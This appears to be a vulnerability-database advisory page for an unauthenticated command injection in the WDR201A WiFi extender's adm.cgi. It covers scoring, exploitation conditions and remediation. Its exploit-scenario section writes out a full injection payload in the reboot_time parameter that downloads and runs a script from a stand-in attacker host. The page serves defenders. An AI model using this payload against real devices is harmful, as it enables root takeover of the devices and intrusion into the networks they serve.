Skip to main content

WDR201A WiFi Extender CVE-2026-41925

| EUVDEUVD-2026-27124 CRITICAL
OS Command Injection (CWE-78)
2026-05-04 VulnCheck
9.3
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Scan for exposed WDR201A web interfaces
  2. Delivery
    Send POST to /adm.cgi with reboot_enabled=1
  3. Exploit
    Inject shell commands via reboot_time parameter
  4. Install
    Execute arbitrary code as root
  5. C2
    Download second-stage payload
  6. Execute
    Establish persistent backdoor
  7. Impact
    Exfiltrate credentials and pivot to LAN

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The WDR201A device must have its web management interface accessible over the network (default configuration for remote administration). The specific vulnerable code path requires the attacker to submit a POST request with reboot_enabled=1 set - this parameter acts as a trigger that invokes the vulnerable reboot_time function. No authentication is required, meaning the vulnerability is exploitable against default configurations without credentials. The attack works regardless of whether scheduled reboot functionality has been previously configured by legitimate administrators. Network accessibility is the primary limiting factor: devices behind NAT without port forwarding or those on isolated network segments cannot be exploited remotely, though LAN-based attackers (including malware on connected clients) can still leverage the vulnerability.

Impact

This vulnerability represents CRITICAL real-world risk with multiple high-severity indicators converging: CVSS 9.3 (network-accessible, low complexity, no privileges/interaction required), publicly available exploit code confirmed by VulnCheck, and SSVC assessment of 'automatable' with 'total' technical impact. The combination of unauthenticated remote exploitation and public POC creates immediate weaponization potential. However, risk is somewhat constrained by the limited market deployment of this specific consumer-grade WiFi extender model from a smaller manufacturer. Organizations should prioritize based on asset inventory - if WDR201A devices exist on networks, treat as emergency-tier remediation. The absence of CISA KEV listing suggests either limited detection of exploitation attempts or narrow targeting, but the public POC published in May 2026 significantly lowers the barrier for widespread attacks. Devices deployed in SOHO or IoT environments face highest risk due to typical lack of network segmentation.

Exploit ScenarioDerived

An unauthenticated attacker scans the internet for WDR201A WiFi Extenders exposing their web management interface on default ports. Upon identifying a target at 203.0.113.45, the attacker crafts a malicious HTTP POST request to http://203.0.113.45/adm.cgi with parameters reboot_enabled=1 and reboot_time='; wget http://attacker.com/malware.sh -O /tmp/m.sh; chmod +x /tmp/m.sh; /tmp/m.sh;'. The vulnerable adm.cgi binary executes the injected commands with root privileges, downloading and executing attacker-controlled shellcode that establishes persistent backdoor access, exfiltrates WiFi credentials, and pivots to connected network devices.

Act Now Prioritize within 24-48h. Why: CRITICAL severity + public POC available.
No patch listed yet 0.5% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 04, 2026

Remote code execution in WDR201A WiFi Extender (HW V2.1, FW ≤1.02) allows unauthenticated attackers to execute arbitrary OS commands via the adm.cgi binary's reboot_time parameter. The vulnerability stems from unsanitized input handling in the reboot scheduling function, exploitable by sending crafted POST requests with shell metacharacters when reboot_enabled=1. Public exploit code exists (CVSS 9.3, SSVC: automatable/total impact), making this a critical priority for affected deployments despite no confirmed CISA KEV listing at time of analysis.

RemediationAI

No vendor-released patch has been identified at time of analysis - the manufacturer's advisory status and firmware update availability remain unconfirmed from provided sources. Without an official fix, organizations must implement immediate compensating controls: (1) Isolate affected WDR201A devices on dedicated network segments with strict firewall rules blocking external access to the web management interface (typically TCP ports 80/443), understanding this prevents remote management but is necessary to block exploitation. (2) Disable remote administration features entirely if supported by device configuration, though firmware limitations may prevent full mitigation. (3) If isolation is infeasible, consider replacing devices with alternative products from vendors with active security support programs. (4) Deploy network-based IDS/IPS rules to detect POST requests to /adm.cgi containing shell metacharacters in reboot_time parameters. Monitor the VulnCheck advisory at https://www.vulncheck.com/advisories/wdr201a-wifi-extender-os-command-injection-via-adm-cgi-reboot-time and vendor channels for firmware updates.

Affected VersionsENISA

WDR201A WiFi Extender 0 ≤1.02

Affected Packages

euvd wdr201a_wifi_extender no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

This is a classic OS command injection (CWE-78) vulnerability in embedded device firmware. The WDR201A WiFi Extender's web management interface uses CGI binaries (adm.cgi) for administrative functions. The reboot_time function fails to sanitize user input before passing it to system shell commands, allowing attackers to break out of intended command context using shell metacharacters (e.g., semicolons, pipes, backticks). The affected firmware version (LFMZX28040922V1.02) appears to be manufactured by Shenzhen Yipu Commercial and Trading Co., a supplier of networking equipment. The vulnerability resides in pre-authentication code paths, meaning the web interface processes the malicious parameter before credential verification.

Know when Wdr201A Wifi Extender gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 9.3 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (VulnCheck) · only source for this CVE.

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

1
CVSS changed
May 04, 2026 - 20:22 NVD
9.3 (CRITICAL)

DescriptionCVE.org

WDR201A WiFi Extender (HW V2.1, FW LFMZX28040922V1.02) contains an OS command injection vulnerability in the adm.cgi binary's reboot_time function that allows unauthenticated remote attackers to execute arbitrary shell commands by injecting malicious input into the reboot_time POST parameter. Attackers can send a crafted request with shell metacharacters in the reboot_time parameter when reboot_enabled=1 to achieve remote code execution.

Executive ViewAI

Why It Matters

CVE-2026-41925 is a critical remote code execution vulnerability affecting WDR201A WiFi Extenders (firmware ≤1.02) that allows unauthenticated attackers to execute arbitrary commands on affected devices. Organizations using this model risk complete device compromise and potential network infiltration, as the vulnerability requires no authentication and can be exploited remotely via standard HTTP requests. Immediate identification and isolation of affected extenders is essential to prevent unauthorized access to corporate or residential networks.

Business Impact: Severe
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Disable reboot scheduling functionality via configuration if possible; (2) Implement network access controls restricting POST requests to the adm.cgi endpoint from untrusted networks; (3) Isolate affected devices to a separate VLAN with restricted lateral movement; (4) Monitor for suspicious HTTP POST requests containing shell metacharacters to the reboot_time parameter; (5) Plan immediate replacement with patched hardware or alternative vendors. These controls reduce but do not eliminate risk; replacement is strongly recommended.

Threat Intelligence Overview

EPSS Score
0.5%
Top 36% exploitable
Exploit
POC
Public exploit code exists
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC Yes
EPSS 0.5%
Patch available No
Active threat No
Deciding rule
CRITICAL severity + public POC available
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
Very High
Technical Impact
Total

Priority Score

66
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +46
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy